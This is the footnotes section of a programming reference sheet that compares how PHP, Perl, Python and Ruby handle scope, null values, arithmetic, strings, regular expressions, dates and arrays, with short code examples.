**python:**

A variable is created by assignment if one does not already exist. If the
variable is inside a function or method, then its scope is the body of the
function or method. Otherwise it is a global.

**ruby:**

Variables are created by assignment. If the variable does not have a dollar
sign \($\) or ampersand \(@\) as its first character then its scope is scope
defining region which most immediately contains it.

A lower case name can refer to a local variable or method. If both are
defined, the local variable takes precedence. To invoke the method make the
receiver explicit: e.g. self._name_. However, outside of class and modules
local variables hide functions because functions are private methods in the
class _Object_. Assignment to _name_ will create a local variable if one with
that name does not exist, even if there is a method _name_.

## regions which define local scope

A list of regions which define a scope for the local variables they contain.

Local variables defined inside the region are only in scope while code within
the region is executing. If the language does not have closures, then code
outside the region has no access to local variables defined inside the region.
If the language does have closures, then code inside the region can make local
variables accessible to code outside the region by returning a reference.

A region which is _top level_ hides local variables in the scope which
contains it from the code it contains. A region can also be top level if the
syntax requirements of the language prohibit it from being placed inside
another scope defining region.

A region is _nestable_ if it can be placed inside another cope defining
region, and if code in the inner region can access local variables in the
outer region.

**php:**

Only function bodies and method bodies define scope. Function definitions can
be nested, but when this is done lexical variables in the outer function are
not visible to code in the body of the inner function.

Braces can be used to set off blocks of codes in a manner similar to the
anonymous blocks of Perl. However, these braces do not define a scope. Local
variables created inside the braces will be visible to subsequent code outside
of the braces.

Local variables cannot be created in class bodies.

**perl:**

A local variable can be defined outside of any function definition or
anonymous block, in which case the scope of the variable is the file
containing the source code. In this way Perl resembles Ruby and contrasts with
PHP and Python. In PHP and Python, any variable defined outside a function
definition is global.

In Perl, when a region which defines a scope is nested inside another, then
the inner region has read and write access to local variables defined in the
outer region.

Note that the blocks associated with the keywords _if_ , _unless_ , _while_ ,
_until_ , _for_ , and _foreach_ are anonymous blocks, and thus any _my_
declarations in them create variables local to the block.

**python:**

Only functions and methods define scope. Function definitions can be nested.
When this is done, inner scopes have read access to variables defined in outer
scopes. Attempting to write \(i.e. assign\) to a variable defined in an outer
scope will instead result in a variable getting created in the inner scope.
Python trivia question: what would happen if the following code were executed?

[code]

    def foo():
        v = 1
        def bar():
            print(v)
            v = 2
            print(v)
        bar()
    
    foo()
    
[/code]

**ruby:**

Note that though the keywords _if_ , _unless_ , _case_ , _while_ , and _until_
each define a block which is terminated by an _end_ keyword, none of these
blocks have their own scope.

Anonymous functions can be created with the _lambda_ keyword. Ruby anonymous
blocks can be provided after a function invocation and are bounded by curly
brackets \{ \} or the _do_ and _end_ keywords. Both anonymous functions and
anonymous blocks can have parameters which are specified at the start of the
block within pipes. Here are some examples:

[code]

    id = lambda { |x| x }
    
    [3,1,2,4].sort { |a,b| a <=> b }
    
    10.times do |i|
      print "#{i}..." 
    end
    
[/code]

In Ruby 1.8, the scope of the parameter of an anonymous block or function or
block is local to the block or function body if the name is not already bound
to a variable in the containing scope. However, if it is, then the variable in
the containing scope will be used. This behavior was changed in Ruby 1.9 so
that parameters are always local to function body or block. Here is an example
of code which behaves differently under Ruby 1.8 and Ruby 1.9:

[code]

    x = 3
    id = lambda { |x| x }
    id.call(7)
    puts x # 1.8 prints 7; 1.9 prints 3
    
[/code]

Ruby 1.9 also adds the ability mark variables as local, even when they are
already defined in the containing scope. All such variables are listed inside
the parameter pipes, separated from the parameters by a semicolon:

[code]

    x = 3
    noop = lambda { |; x| x = 15 } # bad syntax under 1.8
    noop.call
    # x is still 3
    
[/code]

## global variable

How to declare and access a variable with global scope.

**php:**

A variable is global if it is used at the top level \(i.e. outside any
function definition\) or if it is declared inside a function with the _global_
keyword. A function must use the _global_ keyword to access the global
variable.

**perl:**

Undeclared variables, which are permitted unless _use strict_ is in effect,
are global. If _use strict_ is in effect, a global can be declared at the top
level of a package \(i.e. outside any blocks or functions\) with the _our_
keyword. A variable declared with _my_ inside a function will hide a global
with the same name, if there is one.

**python:**

A variable is is global if it is defined at the top level of a file \(i.e.
outside any function definition\). Although the variable is global, it must be
imported individuality or be prefixed with the module name prefix to be
accessed from another file. To be accessed from inside a function or method it
must be declared with the _global_ keyword.

**ruby:**

A variable is global if it starts with a dollar sign: $.

## constant declaration

How to declare a constant.

**php:**

A constant can be declared inside a class:

[code]

    class Math {
      const pi = 3.14;
    }
    
[/code]

Refer to a class constant like this:

[code]

    Math::pi
    
[/code]

**ruby:**

Capitalized variables contain constants and class/module names. By convention,
constants are all caps and class/module names are camel case. The ruby
interpreter does not prevent modification of constants, it only gives a
warning. Capitalized variables are globally visible, but a full or relative
namespace name must be used to reach them: e.g. Math::PI.

## to-end-of-line comment

How to create a comment that ends at the next newline.

## comment out multiple lines

How to comment out multiple lines.

**python:**

The triple single quote ''' and triple double quote """ syntax is a syntax for
string literals.

## null

The null literal.

## null test

How to test if a variable contains null.

**php:**

_$v == NULL_ does not imply that _$v_ is _NULL_ , since any comparison between
_NULL_ and a falsehood will return true. In particular, the following
comparisons are true:

[code]

    $v = NULL;
    if ($v == NULL) { echo "true"; }
    $v = 0;
    if ($v == NULL) { echo "sadly true"; }
    $v = '';
    if ($v == NULL) { echo "sadly true"; }
    
[/code]

**perl:**

_$v == undef_ does not imply that _$v_ is _undef_. Any comparison between
_undef_ and a falsehood will return true. The following comparisons are true:

[code]

    $v = undef;
    if ($v == undef) { print "true"; }
    $v = 0;
    if ($v == undef) { print "sadly true"; }
    $v = '';
    if ($v == undef) { print "sadly true"; }
    
[/code]

## undefined variable access

The result of attempting to access an undefined variable.

## undefined test

**php:**

A test showing that `isset` is the logical negation of `is_null`.

**perl:**

Perl does not distinguish between unset variables and variables that have been
set to undef. In perl, calling defined\($a\) does not result in a error if $a
is undefined, even with the strict pragma.

# Arithmetic and Logic Footnotes

## true and false

Literals for the booleans.

These are the return values of the comparison operators.

**php:**

Any identifier which matches TRUE case-insensitive can be used for the TRUE
boolean. Similarly for FALSE.

In general, PHP variable names are case-sensitive, but function names are
case-insensitive.

When converted to a string for display purposes, TRUE renders as "1" and FALSE
as "". The equality tests `TRUE == 1` and `FALSE == ""` evaluate as TRUE but
the equality tests `TRUE === 1` and `FALSE === ""` evaluate as FALSE.

## falsehoods

Values which behave like the false boolean in a conditional context.

Examples of conditional contexts are the conditional clause of an `if`
statement and the test of a `while` loop.

**python:**

Whether a object evaluates to True or False in a boolean context can be
customized by implementing a \_\_nonzero\_\_ instance method for the class.

## logical operators

Logical and, or, and not.

**php, perl, ruby:**

&& and || have higher precedence than assignment, compound assignment, and the
ternary operator \(?:\), which have higher precedence than _and_ and _or_.

## conditional expression

How to write a conditional expression. A ternary operator is an operator which
takes three arguments. Since

_condition_ ? _true value_ : _false value_

is the only ternary operator in C, it is unambiguous to refer to it as _the_
ternary operator.

**python:**

The Python conditional expression comes from Algol.

**ruby:**

The Ruby `if` statement is also an expression:

[code]

    x = if x > 0
      x
    else
      -x
    end
    
[/code]

## comparison operators

Equality, inequality, greater than, less than, greater than or equal, less
than or equal.

Also known as the relational operators.

**php:**

Most of the comparison operators will convert a string to a number if the
other operand is a number. Thus 0 == "0" is true. The operators === and \!==
do not perform this conversion, so 0 === "0" is false.

**perl:**

The operators: == \!= > < >= <= convert strings to numbers before performing a
comparison. Many string evaluate as zero in a numeric context and are equal
according to the == operator. To perform a lexicographic string comparison,
use: _eq_ , _ne_ , _gt_ , _lt_ , _ge_ , _le_.

## three value comparison

Binary comparison operators which return -1, 0, or 1 depending upon whether
the left argument is less than, equal to, or greater than the right argument.

The `<=>` symbol is called the spaceship operator.

## convert from string, to string

How to convert string data to numeric data and vice versa.

**php:**

PHP converts a scalar to the desired type automatically and does not raise an
error if the string contains non-numeric data. If the start of the string is
not numeric, the string evaluates to zero in a numeric context.

**perl:**

Perl converts a scalar to the desired type automatically and does not raise an
error if the string contains non-numeric data. If the start of the string is
not numeric, the string evaluates to zero in a numeric context.

**python:**

float and int raise an error if called on a string and any part of the string
is not numeric.

**ruby:**

to\_i and to\_f always succeed on a string, returning the numeric value of the
digits at the start of the string, or zero if there are no initial digits.

## arithmetic operators

The operators for addition, subtraction, multiplication, float division,
integer division, modulus, and exponentiation.

## integer division

How to get the integer quotient of two integers. How to get the integer
quotient and remainder.

**perl:**

The _integer_ pragma makes all arithmetic operations integer operations.
Floating point numbers are truncated before they are used. Hence integer
division could be performed with:

[code]

    use integer;
    my $a = 7 / 3;
    no integer;
    
[/code]

## float division

How to perform floating point division, even if the operands might be
integers.

## arithmetic functions

Some arithmetic functions. Trigonometric functions are in radians unless
otherwise noted. Logarithms are natural unless otherwise noted.

**python:**

Python also has _math.log10_. To compute the log of _x_ for base _b_ , use:

[code]

    math.log(x)/math.log(b)
    
[/code]

**ruby:**

Ruby also has _Math.log2_ , _Math.log10_. To compute the log of _x_ for base
_b_ , use

[code]

    Math.log(x)/Math.log(b)
    
[/code]

## arithmetic truncation

How to truncate a float to the nearest integer towards zero; how to round a
float to the nearest integer; how to find the nearest integer above a float;
how to find the nearest integer below a float; how to take the absolute value.

**perl:**

The CPAN module `Number::Format` provides a `round` function. The 2nd argument
specifies the number of digits to keep to the right of the radix. The default
is 2.

[code]

    use Number::Format 'round';
    
    round(3.14, 0);
    
[/code]

## min and max

How to get the min and max.

## division by zero

What happens when division by zero is performed.

## integer overflow

What happens when the largest representable integer is exceeded.

## float overflow

What happens when the largest representable float is exceeded.

## sqrt -2

The result of taking the square root of negative two.

## rational numbers

How to create rational numbers and get the numerator and denominator.

**ruby:**

Require the library _mathn_ and integer division will yield rationals instead
of truncated integers.

## complex numbers

**python:**

Most of the functions in _math_ have analogues in _cmath_ which will work
correctly on complex numbers.

## random integer, uniform float, normal float

How to generate a random integer between 0 and 99, include, float between zero
and one in a uniform distribution, or a float in a normal distribution with
mean zero and standard deviation one.

## set random seed, get and restore seed

How to set the random seed; how to get the current random seed and later
restore it.

All the languages in the sheet set the seed automatically to a value that is
difficult to predict. The Ruby 1.9 MRI interpreter uses the current time and
process ID, for example. As a result there is usually no need to set the seed.

Setting the seed to a hardcoded value yields a random but repeatable sequence
of numbers. This can be used to ensure that unit tests which cover code using
random numbers doesn't intermittently fail.

The seed is global state. If multiple functions are generating random numbers
then saving and restoring the seed may be necessary to produce a repeatable
sequence.

## bit operators

The bit operators for left shift, right shift, and, inclusive or, exclusive
or, and negation.

## binary, octal, and hex literals

Binary, octal, and hex integer literals

## base conversion

How to convert integers to strings of digits of a given base. How to convert
such strings into integers.

**perl**

Perl has the functions `oct` and `hex` which convert strings encoded in octal
and hex and return the corresponding integer. The  
`oct` function will handle binary or hex encoded strings if they have "0b" or
"0x" prefixes.

[code]

    oct("60")
    oct("060")
    oct("0b101010")
    oct("0x2a")
    
    hex("2a")
    hex("0x2a")
    
[/code]

**python**

Python has the functions `bin`, `oct`, and `hex` which take an integer and
return a string encoding the integer in base 2, 8, and 16.

[code]

    bin(42)
    oct(42)
    hex(42)
    
[/code]

# String Footnotes

## string literal

The syntax for string literals.

## newline in literal

Whether newlines are permitted in string literals.

**python:**

Newlines are not permitted in single quote and double quote string literals. A
string can continue onto the following line if the last character on the line
is a backslash. In this case, neither the backslash nor the newline are taken
to be part of the string.

Triple quote literals, which are string literals terminated by three single
quotes or three double quotes, can contain newlines:

[code]

    '''This is
    two lines'''
    
    """This is also
    two lines"""
    
[/code]

## backslash escapes

Backslash escape sequences for inserting special characters into string
literals.

**python:**

When string literals have an `r` or `R` prefix there are no backslash escape
sequences and any backslashes thus appear in the created string. The delimiter
can be inserted into a string if it is preceded by a backslash, but the
backslash is also inserted. It is thus not possible to create a string with an
`r` or `R` prefix that ends in a backslash. The `r` and `R` prefixes can be
used with single or double quotes:

[code]

    r'C:\Documents and Settings\Admin'
    r"C:\Windows\System32"
    
[/code]

## variable interpolation

How to interpolate variables into strings.

**python:**

Python lacks interpolating quotes. Except for the fact that they can contain
single quotes, double quotes are identical to single quotes.

## custom delimiters

How to specify custom delimiters for single and double quoted strings. These
can be used to avoid backslash escaping. If the left delimiter is \(, \[, or
\{ the right delimiter must be \), \], or \}, respectively.

## sprintf

How to create a string using a printf style format.

**python:**

Escape curly braces by doubling:

[code]

    'to insert parameter {0} into a format, use {{{0}}}'.format(3)
    
[/code]

## here document

Here documents are strings terminated by a custom identifier. They perform
variable substitution and honor the same backslash escapes as double quoted
strings.

**perl:**

Put the custom identifer in single quotes to prevent variable interpolation
and backslash escape interpretation:

[code]

    s = <<'EOF';
    Perl code uses variables with dollar
    signs, e.g. $var
    EOF
    
[/code]

**python:**

Python lacks variable interpolation in strings. Triple quotes honor the same
backslash escape sequences as regular quotes,  
so triple quotes can otherwise be used like here documents:

[code]

    s = '''here document
    there computer
    '''
    
[/code]

**ruby:**

Put the customer identifier in single quotes to prevent variable interpolation
and backslash escape interpretation:

[code]

    s = <<'EOF'
    Ruby code uses #{var} type syntax
    to interpolate variables into strings.
    EOF
    
[/code]

## concatenate

The string concatenation operator.

## replicate

The string replication operator.

## split, split in two, split into characters

How to split a string containing a separator into an array of substrings; how
to split a string in two; how to split a string into an array of single
character strings

## join

How to concatenate the elements of an array into a string with a separator.

## case manipulation

How to put a string into all caps or all lower case letters. How to capitalize
the first letter of a string.

## strip

How to remove whitespace from the ends of a string.

## pad on right, on left

How to pad the edge of a string with spaces so that it is a prescribed length.

## length

How to get the length in characters of a string.

## index of substring

How to find the index of the leftmost occurrence of a substring in a string.

## extract substring

How to extract a substring from a string by index.

## extract character

How to extract a character from a string by its index.

## chr and ord

Converting characters to ASCII codes and back.

The languages in this reference sheet do not have character literals, so
characters are represented by strings of length one.

## character translation

How to apply a character mapping to a string.

# Regular Expressions

  * PHP PCRE Regexes
  * perlre and perlreref
  * Python re library: 2.7, 3.1
  * Ruby Regexp

Regular expressions or regexes are a way of specifying sets of strings. If a
string belongs to the set, the string and regex "match". Regexes can also be
used to parse strings.

The modern notation for regexes was introduced by Unix command line tools in
the 1970s. POSIX standardized the notation into two types: extended regexes
and the more archaic basic regexes. Perl regexes are extended regexes
augmented by new character class abbreviations and a few other features
introduced by the Perl interpreter in the 1990s. All the languages in this
sheet use Perl regexes.

Any string that doesn't contain regex metacharacters is a regex which matches itself. The regex metacharacters are: `[ ] . | ( ) * + ? { } ^ $ \`
**character classes: \[ \] .**

A character class is a set of characters in brackets: \[ \]. When used in a
regex it matches any character it contains.

Character classes have their own set of metacharacters: ^ - \ \]

The ^ is only special when it the first character in the character class. Such
a character class matches its complement; that is, any character not inside
the brackets. When not the first character the ^ refers to itself.

The hypen is used to specify character ranges: e.g. 0-9 or A-Z. When the
hyphen is first or last inside the brackets it matches itself.

The backslash can be used to escape the above characters or the terminal
character class delimiter: \]. It can be used in character class abbreviations
or string backslash escapes.

The period . is a character class abbreviation which matches any character
except for newline. In all languages the period can be made to match all
characters. In PHP and Perl use the `m` modifer. In Python use the `re.M`
flag. In Ruby use the `s` modifer.

  
**character class abbreviations:**

abbrev| name| character class  
---|---|---  
\d| digit| \[0-9\]  
\D| nondigit| \[^0-9\]  
\h|  _PHP, Perl:_ horizontal whitespace character  
_Ruby:_ hex digit|  _PHP, Perl:_ \[ \t\]  
_Ruby:_ \[0-9a-fA-F\]  
\H|  _PHP, Perl:_ not a horizontal whitespace character  
_Ruby:_ not a hex digit|  _PHP, Perl:_ \[^ \t\]  
_Ruby:_ \[^0-9a-fA-F\]  
\s| whitespace character| \[ \t\r\n\f\]  
\S| non whitespace character| \[^ \t\r\n\f\]  
\v| vertical whitespace character| \[\r\n\f\]  
\V| not a vertical whitespace character| \[^\r\n\f\]  
\w| word character| \[A-Za-z0-9\_\]  
\W| non word character| \[^A-Za-z0-9\_\]  
**alternation and grouping: | \( \)**
The vertical pipe | is used for alternation and parens \(\) for grouping.
A vertical pipe takes as its arguments everything up to the next vertical
pipe, enclosing paren, or end of string.

Parentheses control the scope of alternation and the quantifiers described
below. The are also used for capturing groups, which are the substrings which
matched parenthesized parts of the regular expression. Each language numbers
the groups and provides a mechanism for extracting when a match is made. A
parenthesized subexpression can be removed from the groups with this syntax:
`(?:_expr_)`

**quantifiers: \* + ? \{ \}**

As an argument quantifiers take the preceding regular character, character
class, or group. The argument can itself be quantified, so that `^a{4}*$`
matches strings with the letter a in multiples of 4.

quantifier| \# of occurrences of argument matched  
---|---  
\*| zero or more, greedy  
+| one or more, greedy  
?| zero or one, greedy  
\{m,n\}| _m_ to _n_ , greedy  
\{n\}| exactly _n_  
\{m,\}| _m_ or more, greedy  
\{,n\}| zero to _n_ , greedy  
\*?| zero or more, lazy  
+?| one or more, lazy  
\{m,n\}?| _m_ to _n_ , lazy  
\{m,\}?| _m_ or more, lazy  
\{,n\}?| zero to _n_ , lazy  
When there is a choice, greedy quantifiers will match the maximum possible
number of occurrences of the argument. Lazy quantifiers match the minium
possible number.

  
**anchors: ^ $**

anchor| matches  
---|---  
^| beginning of a string. In Ruby or when _m_ modifier is used also matches
right side of a newline  
$| end of a string. In Ruby or when _m_ modifier is used also matches left
side of a newline  
\A| beginning of the string  
\b| word boundary. In between a \w and a \W character or in between a \w
character and the edge of the string  
\B| not a word boundary. In between two \w characters or two \W characters  
\z| end of the string  
\Z| end of the string unless it is a newline, in which case it matches the
left side of the terminal newline  
**escaping: \**

To match a metacharacter, put a backslash in front of it. To match a backslash
use two backslashes.

**php:**

PHP 5.3 still supports the EREG engine, though the functions which use it are
deprecated. These include the `split` function and functions which start with
`ereg`. The preferred functions are `preg_split` and the other functions with
a `preg` prefix.

## literal, custom delimited literal

The literal for a regular expression; the literal for a regular expression
with a custom delimiter.

**php:**

PHP regex literals are strings. The first character is the delimiter and it
must also be the last character. If the start delimiter is \(, \{, or \[ the
end delimiter must be \), \}, or \], respectively.

Here are the signatures from the PHP manual for the preg functions used in
this sheet:

[code]

    array preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] )
    
    int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
    
    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    
    int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )
    
[/code]

**python:**

Python does not have a regex literal, but the `re.compile` function can be
used to create regex objects.

Compiling regexes can always be avoided:

[code]

    re.compile('\d{4}').search('1999')
    re.search('\d{4}', '1999')
    
    re.compile('foo').sub('bar', 'foo bar')
    re.sub('foo', 'bar', 'foo bar')
    
    re.compile('\w+').findall('do re me')
    re.findall('\w+', 'do re me')
    
[/code]

## character class abbreviations and anchors

The supported character class abbreviations and anchors.

Note that `\h` refers to horizontal whitespace \(i.e. a space or tab\) in PHP
and Perl and a hex digit in Ruby. Similarly `\H` refers to something that
isn't horizontal whitespace in PHP and Perl and isn't a hex digit in Ruby.

## match test

How to test whether a string matches a regular expression.

**python:**

The `re.match` function is like the `re.search` function, except that it is
only true if the regular expression matches the entire string.

**ruby:**

`match` is a method of both `Regexp` and `String` so can match with both

[code]

    /1999/.match("1999")
    
[/code]

and

[code]

    "1999".match(/1999/)
    
[/code]

When variables are involved it is safer to invoke the `Regexp` method because
string variables are more likely to contain `nil`.

## case insensitive match test

How to perform a case insensitive match test.

## modifiers

Modifiers that can be used to adjust the behavior of a regular expression.

The lists are not comprehensive. For all languages except Ruby there are
additional modifiers.

modifier| behavior  
---|---  
e|  _PHP:_ when used with preg\_replace, the replacement string, after
backreferences are substituted, is eval'ed as PHP code and the result is used
as the replacement.  
i, re.I|  _all:_ ignores case. Upper case letters match lower case letters and
vice versa.  
m, re.M|  _PHP, Perl, Python:_ makes the ^ and $ match the right and left edge
of newlines in addition to the beginning and end of the string.  
_Ruby:_ makes the period . match newline characters.  
o|  _Ruby:_ performs variable interpolation \#\{ \} only once per execution of
the program.  
p|  _Perl:_ sets $\{^MATCH\} $\{^PREMATCH\} and $\{^POSTMATCH\}  
s, re.S|  _PHP, Perl, Python:_ makes the period . match newline characters.  
x, re.X|  _all:_ ignores whitespace in the regex which permits it to be used
for formatting.  
Python modifiers are bit flags. To use more than one flag at the same time,
join them with bit or: |

## substitution

How to replace all occurrences of a matching pattern in a string with the
provided substitution string.

**php:**

The number of occurrences replaced can be controlled with a 4th argument to
`preg_replace`:

[code]

    $s = "foo bar bar";
    preg_replace('/bar/', "baz", $s, 1);
    
[/code]

If no 4th argument is provided, all occurrences are replaced.

**perl:**

The `=~` operator performs the substitution in place on the string and returns
the number of substitutions performed.

The `g` modifiers specifies that all occurrences should be replaced. If
omitted, only the first occurrence is replaced.

**python:**

The 3rd argument to `sub` controls the number of occurrences which are
replaced.

[code]

    s = 'foo bar bar'
    re.compile('bar').sub('baz', s, 1)
    
[/code]

If there is no 3rd argument, all occurrences are replaced.

**ruby:**

The _gsub_ operator returns a copy of the string with the substitution made,
if any. The _gsub\!_ performs the substitution on the original string and
returns the modified string.

The _sub_ and _sub\!_ operators only replace the first occurrence of the match
pattern.

## match, prematch, postmatch

How to get the substring that matched the regular expression, as well as the
part of the string before and after the matching substring.

**perl:**

The special variables `$&`, `$``, and `$'` also contain the match, prematch,
and postmatch.

**ruby:**

The special variables `$&`, `$``, and `$'` also contain the match, prematch,
and postmatch.

## group capture

How to get the substrings which matched the parenthesized parts of a regular
expression.

**ruby:**

Ruby has syntax for extracting a group from a match in a single expression.
The following evaluates to "1999":

[code]

    "1999-07-08"[/(\d{4})-(\d{2})-(\d{2})/, 1]
    
[/code]

## scan

How to return all non-overlapping substrings which match a regular expression
as an array.

## backreference in match and substitution

How to use backreferences in a regex; how to use backreferences in the
replacement string of substitution.

## recursive regex

Examples of recursive regexes.

The examples match substrings containing balanced parens.

# Date and Time Footnotes

In ISO 8601 terminology, a _date_ specifies a day in the Gregorian calendar
and a _time_ does not contain date information; it merely specifies a time of
day. A data type which combines both date and time information is probably
more useful than one which contains just date information or just time
information; it is unfortunate that ISO 8601 doesn't provide a name for this
entity. The word _timestamp_ often gets used to denote a combined date and
time. PHP and Python use the compound noun _datetime_ for combined date and
time values.

An useful property of ISO 8601 dates, times, and date/time combinations is
that they are correctly ordered by a lexical sort on their string
representations. This is because they are big-endian \(the year is the
leftmost element\) and they used fixed-length fields for each term in the
string representation.

The C standard library provides two methods for representing dates. The first
is the UNIX epoch, which is the seconds since January 1, 1970 in UTC. If such
a time were stored in a 32-bit signed integer, the rollover would happen on
January 18, 2038.

The other method of representing dates is the `tm` struct, a definition of
which can be found on Unix systems in `/usr/include/time.h`:

[code]

    struct tm {
            int     tm_sec;         /* seconds after the minute [0-60] */
            int     tm_min;         /* minutes after the hour [0-59] */
            int     tm_hour;        /* hours since midnight [0-23] */
            int     tm_mday;        /* day of the month [1-31] */
            int     tm_mon;         /* months since January [0-11] */
            int     tm_year;        /* years since 1900 */
            int     tm_wday;        /* days since Sunday [0-6] */
            int     tm_yday;        /* days since January 1 [0-365] */
            int     tm_isdst;       /* Daylight Savings Time flag */
            long    tm_gmtoff;      /* offset from CUT in seconds */
            char    *tm_zone;       /* timezone abbreviation */
    };
    
[/code]

Perl and Python both use and expose the `tm` struct of the standard library.
In the case of Perl, the first nine values of the struct \(up to the member
`tm_isdst`\) are put into an array. Python, meanwhile, has a module called
`time` which is a thin wrapper to the standard library functions which operate
on this struct. Here is how get a `tm` struct in Python:

[code]

    import time
    
    utc = time.gmtime(time.time())
    t = time.localtime(time.time())
    
[/code]

The `tm` struct is a low level entity, and interacting with it directly should
be avoided. In the case of Python it is usually sufficient to use the
`datetime` module instead. For Perl, one can use the `Time::Piece` module to
wrap the `tm` struct in an object.

## date/time type

The data type used to hold a combined date and time.

**perl**

Built in Perl functions work with either \(1\) scalars containing the Unix
epoch as an integer or \(2\) arrays containing the first nine values of the
standard C library tm struct. When `use Time::Piece` is in effect functions
which work with tm arrays are replaced with variant that work with the
`Time::Piece` wrapper.

The modules `Time::Local` and `Date::Parse` can create scalars containing the
Unix epoch.

CPAN provides the `DateTime` module which provides objects with functionality
comparable to the DateTime objects of PHP and Python.

## current date/time

How to get the combined date and time for the present moment in both local
time and UTC.

## to unix epoch, from unix epoch

How to convert the native date/time type to the Unix epoch which is the number
of seconds since the start of January 1, 1970 UTC.

## current unix epoch

How to get the current time as a Unix epoch timestamp.

## strftime

How to format a date/time as a string using the format notation of the
_strftime_ function from the standard C library. This same format notation is
used by the Unix _date_ command.

**php:**

PHP supports strftime but it also has its own time formatting system used by
`date`, `DateTime::format`, and `DateTime::createFromFormat`. The letters used
in the PHP time formatting system are described here.

## default format example

Examples of how a date/time object appears when treated as a string such as
when it is printed to standard out.

The formats are in all likelihood locale dependent. The provided examples come
from a machine running Mac OS X in the Pacific time zone of the USA.

**php:**

It is a fatal error to treat a DateTime object as a string.

## strptime

How to parse a date/time using the format notation of the `strptime` function
from the standard C library.

## parse date w/o format

How to parse a date without providing a format string.

## result date subtraction

The data type that results when subtraction is performed on two combined date
and time values.

## add time duration

How to add a time duration to a date/time.

A time duration can easily be added to a date/time value when the value is a
Unix epoch value.

ISO 8601 distinguishes between a time interval, which is defined by two
date/time endpoints, and a duration, which is the length of a time interval
and can be defined by a unit of time such as '10 minutes'. A time interval can
also be defined by date and time representing the start of the interval and a
duration.

ISO 8601 defines notation for durations. This notation starts with a 'P' and
uses a 'T' to separate the day and larger units from the hour and smaller
units. Observing the location relative to the 'T' is important for
interpreting the letter 'M', which is used for both months and minutes.

## local timezone

Do date/time values include timezone information. When a date/time value for
the local time is created, how the local timezone is determined.

A date/time value can represent a local time but not have any timezone
information associated with it.

On Unix systems processes determine the local timezone by inspecting the file
`/etc/localtime`.

**php:**

The default timezone can also be set in the `php.ini` file.

[code]

    date.timezone = "America/Los_Angeles"
    
[/code]

Here is the list of timezones supported by PHP.

## timezone name, offset from UTC, is daylight savings?

How to get time zone information: the name of the timezone, the offset in
hours from UTC, and whether the timezone is currently in daylight savings.

Timezones are often identified by three or four letter abbreviations. As can
be seen from the list, many of the abbreviations do not uniquely identify a
timezone. Furthermore many of the timezones have been altered in the past. The
Olson database \(aka Tz database\) decomposes the world into zones in which
the local clocks have all been set to the same time since 1970 and it gives
these zones unique names.

**perl:**

It is not necessary to create a DateTime object to get the local timezone
offset:

[code]

    use Time::Piece;
    
    $t = localtime(time);
    $offset_hrs = $t->tzoffset / 3600;
    
[/code]

**ruby:**

The `Time` class has a `zone` method which returns the time zone abbreviation
for the object. There is a `tzinfo` gem which can be used to create timezone
objects using the Olson database name. This can in turn be used to convert
between UTC times and local times which are daylight saving aware.

## microseconds

How to get the microseconds component of a combined date and time value. The
SI abbreviations for milliseconds and microseconds are `ms` and `μs`,
respectively. The C standard library uses the letter `u` as an abbreviation
for `micro`. Here is a struct defined in `/usr/include/sys/time.h`:

[code]

    struct timeval {
      time_t       tv_sec;   /* seconds since Jan. 1, 1970 */
      suseconds_t  tv_usec;  /* and microseconds */
    };
    
[/code]

## sleep

How to put the process to sleep for a specified number of seconds. In Python
and Ruby the default version of `sleep` supports a fractional number of
seconds.

**php:**

PHP provides `usleep` which takes an argument in microseconds:

[code]

    usleep(500000);
    
[/code]

**perl:**

The Perl standard library includes a version of `sleep` which supports
fractional seconds:

[code]

    use Time::HiRes qw(sleep);
    
    sleep 0.5;
    
[/code]

## timeout

How to cause a process to timeout if it takes too long.

Techniques relying on SIGALRM only work on Unix systems.

# Container Footnotes

Scripting languages have the same basic container types but the terminology is
not universal:

| php| perl| python| ruby  
---|---|---|---|---  
array| array| array, list| list, tuple, sequence| Array, Enumerable  
dictionary| array| hash| dict, mapping| Hash  
**php:**

PHP uses the same data structure for arrays and dictionaries.

**perl:**

_array_ refers to a data type. _list_ refers to a context.

**python:**

Python has the mutable _list_ and the immutable _tuple_. Both are _sequences_.
To be a _sequence_ , a class must implement \_\_getitem\_\_, \_\_setitem\_\_,
\_\_delitem\_\_, \_\_len\_\_, \_\_contains\_\_, \_\_iter\_\_, \_\_add\_\_,
\_\_mul\_\_, \_\_radd\_\_, and \_\_rmul\_\_.

**ruby:**

Ruby provides an _Array_ datatype. If a class defines an _each_ iterator and a
comparison operator <=>, then it can mix in the _Enumerable_ module.

# Array Footnotes

## literal

Array literal syntax.

**perl:**

Square brackets create an array and return a reference to it:

[code]

    $a = [1,2,3]
    
[/code]

## quote words

The quote words operator, which is a literal for arrays of strings where each
string contains a single word.

## size

How to get the number of elements in an array.

## empty test

How to test whether an array is empty.

## lookup

How to access a value in an array by index.

**perl:**

A negative index refers to the _length - index_ element.

**python:**

A negative index refers to the _length - index_ element.

[code]

    >>> a = [1,2,3]
    >>> a[-1]
    3
    
[/code]

**ruby:**

A negative index refers to to the _length - index_ element.

## update

How to update the value at an index.

## out-of-bounds behavior

What happens when the value at an out-of-bounds index is refererenced.

## index of array element

**perl:**

Some techniques for getting the index of an array element.

## slice by endpoints, by length

How to slice a subarray from an array by specifying a start index and an end
index; how to slice a subarray from an array by specifying an offset index and
a length index.

**perl:**

Perl arrays can take an array of indices as the index value. The range of
values selected can be discontinuous and the order of the values can be
manipulated:

[code]

    @nums = (1,2,3,4,5,6);                                                                                                                                                  
    @nums[(1,3,2,4)];
    
[/code]

**python:**

Slices can leave the first or last index unspecified, in which case the first
or last index of the sequence is used:

[code]

    >>> a=[1,2,3,4,5]
    >>> a[:3]
    [1, 2, 3]
    
[/code]

Python has notation for taking every nth element:

[code]

    >>> a=[1,2,3,4,5]
    >>> a[::2] 
    [1, 3, 5]
    
[/code]

The third argument in the colon-delimited slice argument can be negative,
which reverses the order of the result:

[code]

    >>> a = [1,2,3,4]
    >>> a[::-1]
    [4, 3, 2, 1]
    
[/code]

## slice to end

How to slice to the end of an array.

The examples take all but the first element of the array.

## manipulate back

How to add and remove elements from the back or high index end of an array.

These operations can be used to use the array as a stack.

## manipulate front

How to add and remove elements from the front or low index end of an array.

These operations can be used to use the array as a stack. They can be used
with the operations that manipulate the back of the array to use the array as
a queue.

## concatenate

How to create an array by concatenating two arrays; how to modify an array by
concatenating another array to the end of it.

